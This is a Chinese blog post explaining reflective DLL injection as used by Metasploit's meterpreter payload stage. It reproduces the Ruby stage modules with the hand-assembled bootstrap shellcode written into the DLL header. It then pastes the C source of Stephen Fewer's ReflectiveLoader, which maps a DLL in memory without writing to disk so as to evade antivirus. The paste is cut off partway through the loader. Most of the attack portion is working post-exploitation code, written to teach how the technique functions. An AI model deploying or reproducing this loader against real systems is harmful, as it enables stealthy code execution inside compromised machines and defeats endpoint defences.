Reflective DLL Injection(字面翻译:反射dll注入)

      这两天把印度佬的metasploit视频看完了.带着印度口音的英语伤不起啊(请自己想象生活大爆炸里Rajesh),但是这个印度佬的口音特别重,-___-,脑海里久久回荡着印度腔英语......

 

    为什么会提到Reflective DLL Injection,看Metasploit Unleashed,里面提到神器meterpreter和vnc injection都是利用这种技术,还给了链接,果断猛击,结果悲催的校园网+端午节放假+搜狗教育网加速负荷过大+人品,打不开,换了cmcc都没前途.猛然醒起前天,啊哈哈哈哈哈,果断用filetype:pdf+关键字xx了一篇.后来有找到实现代码,其实代码在src里面就有,不过我找到的代码是最原始的框架,没有经过加工的.老外的开源精神是没办法比的,我们写个什么东西,技术含量也不是很高但是仍然要藏着掖着,anyway,入正题..

 

    声明:以下是我的一些看法,不一定对,欢迎大家拍砖讨论,共同进步^_^

 

    dll注入就是把一个dll加载到一个exe里,简单场景是现在有一个inject.dll,有a.exe正在运行,你写一个b.exe,让a.exe去加载这个inject.dll,具体实现是让b.exe在a.exe的进程空间里面写入"inject.dll"这个dll名称,之后用CreateRemoteThread创建远程线程用LoadLibrary做线程函数就OK了.这个是一个很简单的场景,现在更进一步,如果实在exploitation的场景下,那么没有b.exe,你得到的进程上下文是a.exe,你可以执行你的shellcode,这样看来,其实实现起来也很简单,关键你需要解决的问题是,你怎么把inject.dll传到target机子上.这个不是我们讨论的范围.如果你成功的把inject.dll传过去了,直接LoadLibrary()就OK了.

 

    我们来看exploitation场景,此时我们需要再target机子上写一个文件,这个文件就是inject.dll,这样的硬盘文件操作很容易引起杀软和主动防御软件的警报和注意,从而导致失败.Reflective DLL Injection提出来就是解决这个问题的,完全不需要在硬盘上写入inject.dll,而是直接在内存当中操作.然后自己加载这个inject.dll.后面会详细说.

 

    科普一下,在metasploit里面,payloads简单可以分为三类:single,stager,stage.作用分别是single,实现单一,完整功能的payload,比如说bind_tcp这样的功能;stager和stage我这样比喻吧,像web入侵里面提到的小马和大马一样,由于exploit环境的限制,可能不能一下子把stage传过去,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动.上面提到的Reflective DLL Injection是作为一个stage存在的.也即是说,你已经有了和target之间的连接会话,你可以传送数据到target上.对于stager的部分我们也不讨论.

 

    也即是说,我们的前提是:你已经获得了target上的shellcode执行权限,你的shellcode能够接受数据,写入内存并移交控制权(EIP).下面简单看一下metasploit的meterpreter的payload:

#$MSFHOME/modules/payloads/stages/windows/meterpreter.rb #------------------------------------------------------- ## # $Id: meterpreter.rb 8984 2010-04-03 05:21:15Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' ### # # Injects the meterpreter server DLL via the Reflective Dll Injection payload # ### module Metasploit3 include Msf::Payload::Windows::ReflectiveDllInject include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Meterpreter (Reflective Injection)', 'Version' => '$Revision: 8984 $', 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)', 'Author' => ['skape','sf'], 'PayloadCompat' => { 'Convention' => 'sockedi', }, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_x86_Win)) # Don't let people set the library name option options.remove_option('LibraryName') options.remove_option('DLL') end def library_path File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") end end

 

    在这里面我们看到的东西是,meterpreter.rb他引入了msf/core/payload/windows/reflectivedllinject,这个是实现反射dll注入的文件,剩下的他提供的信息包括,他加入了meterpreter的session以及他使用的注入dll是metsrv.dll.

 

    下面是reflectivedllinject.rb

#$MSFHOME/lib/msf/core/payload/windows/reflectivedllinject.rb #------------------------------------------------------------ require 'msf/core' require 'rex/peparsey' module Msf ### # # Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection. # ### module Payload::Windows::ReflectiveDllInject include Msf::Payload::Windows def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective Dll Injection', 'Version' => '$Revision: 12600 $', 'Description' => 'Inject a Dll via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'http://www.harmonysecurity.com/ReflectiveDllInjection.html' ] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, 'Stage' => { 'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] }, 'Payload' => "" } )) register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class ) end def library_path datastore['DLL'] end def stage_payload(target_id=nil) dll = "" offset = 0 begin File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) } pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) pe.exports.entries.each do |entry| if( entry.name =~ /^/S*ReflectiveLoader/S*/ ) offset = pe.rva_to_file_offset( entry.rva ) break end end raise "Can't find an exported ReflectiveLoader function!" if offset == 0 rescue print_error( "Failed to read and parse Dll file: #{$!}" ) return end exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration bootstrap = "/x4D" + # dec ebp ; M "/x5A" + # pop edx ; Z "/xE8/x00/x00/x00/x00" + # call 0 ; call next instruction "/x5B" + # pop ebx ; get our location (+7) "/x52" + # push edx ; push edx back "/x45" + # inc ebp ; restore ebp "/x55" + # push ebp ; save ebp "/x89/xE5" + # mov ebp, esp ; setup fresh stack frame "/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader "/xFF/xD3" + # call ebx ; call ReflectiveLoader "/x89/xC3" + # mov ebx, eax ; save DllMain for second call "/x57" + # push edi ; our socket "/x68/x04/x00/x00/x00" + # push 0x4 ; signal we have attached "/x50" + # push eax ; some value for hinstance "/xFF/xD0" + # call eax ; call DllMain( somevalue, DLL_METASPLOIT_ATTACH, socket ) "/x68" + exit_funk + # push 0x???????? ; our EXITFUNC placeholder "/x68/x05/x00/x00/x00" + # push 0x5 ; signal we have detached "/x50" + # push eax ; some value for hinstance "/xFF/xD3" # call ebx ; call DllMain( somevalue, DLL_METASPLOIT_DETACH, exitfunk ) # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if( bootstrap.length > 62 ) print_error( "Reflective Dll Injection (x86) generated an oversized bootstrap!" ) return end # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap # patch the target ID into the URI if specified if target_id i = dll.index("/123456789 HTTP/1.0/r/n/r/n/x00") if i t = target_id.to_s raise "Target ID must be less than 5 bytes" if t.length > 4 u = "/B#{t} HTTP/1.0/r/n/r/n/x00" print_status("Patching Target ID #{t} into DLL") dll[i, u.length] = u end end # return our stage to be loaded by the intermediate stager return dll end end end

 

    里面有提到这篇论文的出处在http://www.harmonysecurity.com/ReflectiveDllInjection.html,有兴趣的同学请猛击. 简单解释一下,这个rb是构建一个inject.dll传到target当中写入内存,这个dll的结构大概是这样(瞄的,我要自己画图..)

 

    如图,在metsrv.dll里面写入Bootstrap,同时定位ReflectiveLoader()的地址,硬编码写入Bootstrap里面,同时加入退出函数的地址.这里用了一个小技巧,很cool,很强大,将Bootstrap直接写入dll的头部这样不是会破坏dll这个文件的结构么?我之前也认为Bootstrap是写在dll文件之前的,像Bootstrap+Metsrv.dll这样发送过去,但是在Bootstrap里面,他需要完成一项工作,就是代码的重定向工作.看下Bootstrap的生成代码,有一句"/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader,其中的offset在前面是offset = pe.rva_to_file_offset( entry.rva ),简单的理解是,offset是Metsrv.dll编译好之后,ReflectiveLoader()函数在文件中的RVA,相对虚拟地址,相对虚拟地址需要加上基址才是真实地址,如果将Bootsrtap放在Metsrv.dll文件之前(而不是文件里面)的话,重定位要更繁琐一点.而且,不够cool.当看到这句的时候感觉很帅,

                bootstrap =    "/x4D" +                            # dec ebp             ; M
                                        "/x5A" +                            # pop edx             ; Z

注意了,MZ标志也可以拿来做指令.没错!就是dec ebp和pop edx,这两条指令的16进制刚好是MZ的ascii码,然后利用头部的空隙插入37字节的指令,如图,MZ头部后面有起码40字节的空隙可以利用.

之后的代码是经典的重定位实现方式,call下一条指令,pop一下弹出call的返回地址,也就是

                                       "/x5B" +                            # pop ebx             ; get our location (+7)

这条指令的地址,这条指令里文件头部的偏移是7,只要将这个地址减去7那就是基址了,你懂了吧,有了基址,加上RVA就得到了ReflectiveLoader()的地址了,有了地址直接call过去就完事了,ReflectiveLoader()没有参数,返回值是DlMain()的地址,这里再说一下

                                        "/xE8/x00/x00/x00/x00" +            # call 0              ; call next instruction

像call和jmp+立即数的指令,立即数的计算都是(目标地址 - (当前地址 + 5)),注意立即数写入机器码时需要逆序(高高低低原则),这句

                                        "/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader

里面的pack("V")就是逆序输入的意思.

                                         "/x57" +                            # push edi            ; our socket

这里的edi是由stager里面传进来的socket,在dllmain里面会进行处理.DllMain的声明是

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )

最后一个参数两次调用,第一次传进来的是socket,第二次传进来是退出函数的地址.供退出用.

 

    好吧,这样大概的执行流程框架就有了(还是前面的前提,你有了小马,stage):1.小马转移EIP到dll的文件头->2.进行重定位->3.计算ReflectiveLoader()地址->4.调用ReflectiveLoader()->5.得到DllMain()地址(前面调用的返回值)->6.调用DllMain(),此时应该就在DllMain()里面(大马的代码)循环直到attacker退出.->7.第二次调用DllMain(),此时按退出函数安全退出.

 

    另外,dll里面是对dll的调用状态进行了扩展(DllMain的第二个参数DWORD dwReason),加入了自己的attach和detach两种情况.

 

    在整个流程当中,很关键的一环是第4步,ReflectiveLoader()的具体实现过程:

1.首先需要获取三个关键函数的地址.

2.分配一块内存,把dll复制过去,这个过程细化了,不是一下子全部复制,而是分开头部和各个区块.

3.处理IAT,再处理重定向表.

4.使用DLL_PROCESS_ATTACH调用一次DllMain().

5.返回DllMain()的地址供Bootstrap调用.

 

    1当中是用常见的PEB定位方式+hash比对得到的,三个关键函数分别是VirtualAlloc(),LoadLibrary()和GetProcAddress(),第一个用来分配内存拷贝dll过去,第二个和第三个是用来处理dll的输入表的.代码里面模拟实现IAT的填充,需要用到这两个函数.整个过程难度最大的应该是对IAT和重定向表的手动处理,这个需要对PE文件结构有一定的理解,次之是三个关键函数的定位.

    2当中为何分开头部和各个区块复制,这是由于PE文件区块在内存当中和磁盘上的对齐值不同,典型的磁盘对齐是200h,而内存是1000h(刚好是一个页的大小),我们把dll复制到内存当中的时候就是要模拟系统对dll的映射,因此必须分开处理.我开始一直以为CreateFileMapping就是做好了内存对齐,结果带来的问题就是,我如何获取这个按内存对齐之后的整体大小(我一开始的思路还是停留在整体复制上),这个应该也是反射dll注入的亮点之一.

    最后附上代码,简单易懂多注释.大家研究研究.

ReflectiveLoader.h

//===============================================================================================// // Copyright (c) 2008, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #ifndef REFLECTIVELOADER_H #define REFLECTIVELOADER_H //===============================================================================================// #define WIN32_LEAN_AND_MEAN #include #include #include #define EXITFUNC_SEH 0x5F048AF0 #define EXITFUNC_THREAD 0x60E0CEEF #define EXITFUNC_PROCESS 0x73E2D87E #define DLL_METASPLOIT_ATTACH 4 #define DLL_METASPLOIT_DETACH 5 #define DEREF_32( name )*(DWORD *)(name) #define DEREF_16( name )*(WORD *)(name) #define DEREF_8( name )*(BYTE *)(name) #define DLLEXPORT __declspec( dllexport ) typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); #define LOADLIBRARYA_HASH 0xEC0E4E8E #define GETPROCADDRESS_HASH 0x7C0DFCAA #define VIRTUALALLOC_HASH 0x91AFCA54 #define HASH_KEY 13 //===============================================================================================// __forceinline DWORD __hash( char * c ) { register DWORD h = 0; do { __asm ror h, HASH_KEY h += *c; } while( *++c ); return h; } //===============================================================================================// __forceinline DWORD __get_peb() { __asm mov eax, fs:[ 0x30 ] } //===============================================================================================// __forceinline VOID __memzero( DWORD dwDest, DWORD dwLength ) { __asm { mov ecx, dwLength xor eax, eax mov edi, dwDest rep stosb } } //===============================================================================================// __forceinline VOID __memcpy( DWORD dwDest, DWORD dwSource, DWORD dwLength ) { __asm { mov ecx, dwLength mov esi, dwSource mov edi, dwDest rep movsb } } //===============================================================================================// // WinDbg> dt -v ntdll!_PEB_LDR_DATA typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes { DWORD dwLength; DWORD dwInitialized; LPVOID lpSsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; LPVOID lpEntryInProgress; } PEB_LDR_DATA, * PPEB_LDR_DATA; // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes { struct _PEB_FREE_BLOCK * pNext; DWORD dwSize; } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; /* // You may or may not need to uncomment this structure. typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; */ // struct _PEB is defined in Winternl.h but it is incomplete // WinDbg> dt -v ntdll!_PEB typedef struct __PEB // 65 elements, 0x210 bytes { BYTE bInheritedAddressSpace; BYTE bReadImageFileExecOptions; BYTE bBeingDebugged; BYTE bSpareBool; LPVOID lpMutant; LPVOID lpImageBaseAddress; PPEB_LDR_DATA pLdr; LPVOID lpProcessParameters; LPVOID lpSubSystemData; LPVOID lpProcessHeap; PRTL_CRITICAL_SECTION pFastPebLock; LPVOID lpFastPebLockRoutine; LPVOID lpFastPebUnlockRoutine; DWORD dwEnvironmentUpdateCount; LPVOID lpKernelCallbackTable; DWORD dwSystemReserved; DWORD dwAtlThunkSListPtr32; PPEB_FREE_BLOCK pFreeList; DWORD dwTlsExpansionCounter; LPVOID lpTlsBitmap; DWORD dwTlsBitmapBits[2]; LPVOID lpReadOnlySharedMemoryBase; LPVOID lpReadOnlySharedMemoryHeap; LPVOID lpReadOnlyStaticServerData; LPVOID lpAnsiCodePageData; LPVOID lpOemCodePageData; LPVOID lpUnicodeCaseTableData; DWORD dwNumberOfProcessors; DWORD dwNtGlobalFlag; LARGE_INTEGER liCriticalSectionTimeout; DWORD dwHeapSegmentReserve; DWORD dwHeapSegmentCommit; DWORD dwHeapDeCommitTotalFreeThreshold; DWORD dwHeapDeCommitFreeBlockThreshold; DWORD dwNumberOfHeaps; DWORD dwMaximumNumberOfHeaps; LPVOID lpProcessHeaps; LPVOID lpGdiSharedHandleTable; LPVOID lpProcessStarterHelper; DWORD dwGdiDCAttributeList; LPVOID lpLoaderLock; DWORD dwOSMajorVersion; DWORD dwOSMinorVersion; WORD wOSBuildNumber; WORD wOSCSDVersion; DWORD dwOSPlatformId; DWORD dwImageSubsystem; DWORD dwImageSubsystemMajorVersion; DWORD dwImageSubsystemMinorVersion; DWORD dwImageProcessAffinityMask; DWORD dwGdiHandleBuffer[34]; LPVOID lpPostProcessInitRoutine; LPVOID lpTlsExpansionBitmap; DWORD dwTlsExpansionBitmapBits[32]; DWORD dwSessionId; ULARGE_INTEGER liAppCompatFlags; ULARGE_INTEGER liAppCompatFlagsUser; LPVOID lppShimData; LPVOID lpAppCompatInfo; UNICODE_STRING usCSDVersion; LPVOID lpActivationContextData; LPVOID lpProcessAssemblyStorageMap; LPVOID lpSystemDefaultActivationContextData; LPVOID lpSystemAssemblyStorageMap; DWORD dwMinimumStackCommit; } _PEB, * _PPEB; typedef struct { WORD offset:12; WORD type:4; } IMAGE_RELOC, *PIMAGE_RELOC; //===============================================================================================// #endif //===============================================================================================//

ReflectiveLoader.c

//===============================================================================================// // Copyright (c) 2008, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "ReflectiveLoader.h" //===============================================================================================// // You must implement this to add desired functionality, see ReflectiveDll.c ... extern int Init( SOCKET socket ); //===============================================================================================// // Our loader will set this to a pseudo correct value HINSTANCE hAppInstance; //===============================================================================================// // This is our position independent reflective Dll loader/injector DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID ) { // the functions we need LOADLIBRARYA pLoadLibraryA; GETPROCADDRESS pGetProcAddress; VIRTUALALLOC pVirtualAlloc; BYTE bCounter = 3; // the initial location of this image in memory DWORD dwLibraryAddress; // the kernels base address and later this images newly loaded base address DWORD dwBaseAddress; // variables for processing the kernels export table DWORD dwAddressArray; DWORD dwNameArray; DWORD dwExportDir; DWORD dwNameOrdinals; DWORD dwHashValue; // variables for loading this image DWORD dwHeaderValue; DWORD dwValueA; DWORD dwValueB; DWORD dwValueC; DWORD dwValueD; // STEP 0: calculate our images current base address // we will start searching backwards from our current EIP __asm call getip __asm getip: pop dwLibraryAddress // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE ) { if( ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } dwLibraryAddress--; } // STEP 1: process the kernels exports for the functions our loader needs... // get the Process Enviroment Block dwBaseAddress = __get_peb(); // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx dwBaseAddress = (DWORD)((_PPEB)dwBaseAddress)->pLdr; dwBaseAddress = DEREF_32( ((PPEB_LDR_DATA)dwBaseAddress)->InInitializationOrderModuleList.Flink ); // get this kernels base address dwBaseAddress = DEREF_32( dwBaseAddress + 8 ); // get the VA of the modules NT Header dwExportDir = dwBaseAddress + ((PIMAGE_DOS_HEADER)dwBaseAddress)->e_lfanew; // dwNameArray = the address of the modules export directory entry dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory dwExportDir = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress ); // get the VA for the array of name pointers dwNameArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNames ); // get the VA for the array of name ordinals dwNameOrdinals = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNameOrdinals ); // loop while we still have imports to find while( bCounter > 0 ) { // compute the hash values for this function name dwHashValue = __hash( (char *)( dwBaseAddress + DEREF_32( dwNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses dwAddressArray = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers dwAddressArray += ( DEREF_16( dwNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( dwBaseAddress + DEREF_32( dwAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( dwBaseAddress + DEREF_32( dwAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( dwBaseAddress + DEREF_32( dwAddressArray ) ); // decrement our counter bCounter--; } // get the next exported function name dwNameArray += sizeof(DWORD); // get the next exported function name ordinal dwNameOrdinals += sizeof(WORD); } // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded dwHeaderValue = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew; // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. dwBaseAddress = (DWORD)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // we must now copy over the headers dwValueA = ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.SizeOfHeaders; dwValueB = dwLibraryAddress; dwValueC = dwBaseAddress; __memcpy( dwValueC, dwValueB, dwValueA ); // STEP 3: load in all of our sections... // dwValueA = the VA of the first section dwValueA = ( (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.SizeOfOptionalHeader ); // itterate through all sections, loading them into memory. while( ((PIMAGE_NT_HEADERS32)dwHeaderValue)->FileHeader.NumberOfSections-- ) { // dwValueB is the VA for this section dwValueB = ( dwBaseAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->VirtualAddress ); // dwValueC if the VA for this sections data dwValueC = ( dwLibraryAddress + ((PIMAGE_SECTION_HEADER)dwValueA)->PointerToRawData ); // copy the section over dwValueD = ((PIMAGE_SECTION_HEADER)dwValueA)->SizeOfRawData; __memcpy( dwValueB, dwValueC, dwValueD ); // get the VA of the next section dwValueA += sizeof( IMAGE_SECTION_HEADER ); } // STEP 4: process our images import table... // dwValueB = the address of the import directory dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; // we assume their is an import table to process // dwValueC is the first entry in the import table dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress ); // itterate through all imports while( ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name ) { // use LoadLibraryA to load the imported module into memory dwLibraryAddress = (DWORD)pLoadLibraryA( (LPCSTR)( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name ) ); // dwValueD = VA of the OriginalFirstThunk dwValueD = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->OriginalFirstThunk ); // dwValueA = VA of the IAT (via first thunk not origionalfirstthunk) dwValueA = ( dwBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->FirstThunk ); // itterate through all imported functions, importing by ordinal if no name present while( DEREF_32(dwValueA) ) { // sanity check dwValueD as some compilers only import by FirstThunk if( dwValueD && ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG32 ) { // get the VA of the modules NT Header dwExportDir = dwLibraryAddress + ((PIMAGE_DOS_HEADER)dwLibraryAddress)->e_lfanew; // dwNameArray = the address of the modules export directory entry dwNameArray = (DWORD)&((PIMAGE_NT_HEADERS32)dwExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory dwExportDir = ( dwLibraryAddress + ((PIMAGE_DATA_DIRECTORY)dwNameArray)->VirtualAddress ); // get the VA for the array of addresses dwAddressArray = ( dwLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfFunctions ); // use the import ordinal (- export ordinal base) as an index into the array of addresses dwAddressArray += ( ( IMAGE_ORDINAL32( ((PIMAGE_THUNK_DATA)dwValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->Base ) * sizeof(DWORD) ); // patch in the address for this imported function DEREF_32(dwValueA) = ( dwLibraryAddress + DEREF_32(dwAddressArray) ); } else { // get the VA of this functions import by name struct dwValueB = ( dwBaseAddress + DEREF_32(dwValueA) ); // use GetProcAddress and patch in the address for this imported function DEREF_32(dwValueA) = (DWORD)pGetProcAddress( (HMODULE)dwLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)dwValueB)->Name ); } // get the next imported function dwValueA += 4; if( dwValueD ) dwValueD += 4; } // get the next import dwValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); } // STEP 5: process all of our images relocations... // calculate the base address delta and perform relocations (even if we load at desired image base) dwLibraryAddress = dwBaseAddress - ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.ImageBase; // dwValueB = the address of the relocation directory dwValueB = (DWORD)&((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; // check if their are any relocations present if( ((PIMAGE_DATA_DIRECTORY)dwValueB)->Size ) { // dwValueC is now the first entry (IMAGE_BASE_RELOCATION) dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress ); // and we itterate through all entries... while( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock ) { // dwValueA = the VA for this relocation block dwValueA = ( dwBaseAddress + ((PIMAGE_BASE_RELOCATION)dwValueC)->VirtualAddress ); // dwValueB = number of entries in this relocation block dwValueB = ( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); // dwValueD is now the first entry in the current relocation block dwValueD = dwValueC + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while( dwValueB-- ) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required switch( ((PIMAGE_RELOC)dwValueD)->type ) { case IMAGE_REL_BASED_HIGHLOW: *(DWORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += dwLibraryAddress; break; case IMAGE_REL_BASED_HIGH: *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += HIWORD(dwLibraryAddress); break; case IMAGE_REL_BASED_LOW: *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += LOWORD(dwLibraryAddress); break; //case IMAGE_REL_BASED_HIGHADJ: // break; default: break; } // get the next entry in the current relocation block dwValueD += sizeof( IMAGE_RELOC ); } // get the next entry in the relocation directory dwValueC = dwValueC + ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock; } } // STEP 6: call our images entry point // dwValueA = the VA of our newly loaded DLL's entry point dwValueA = ( dwBaseAddress + 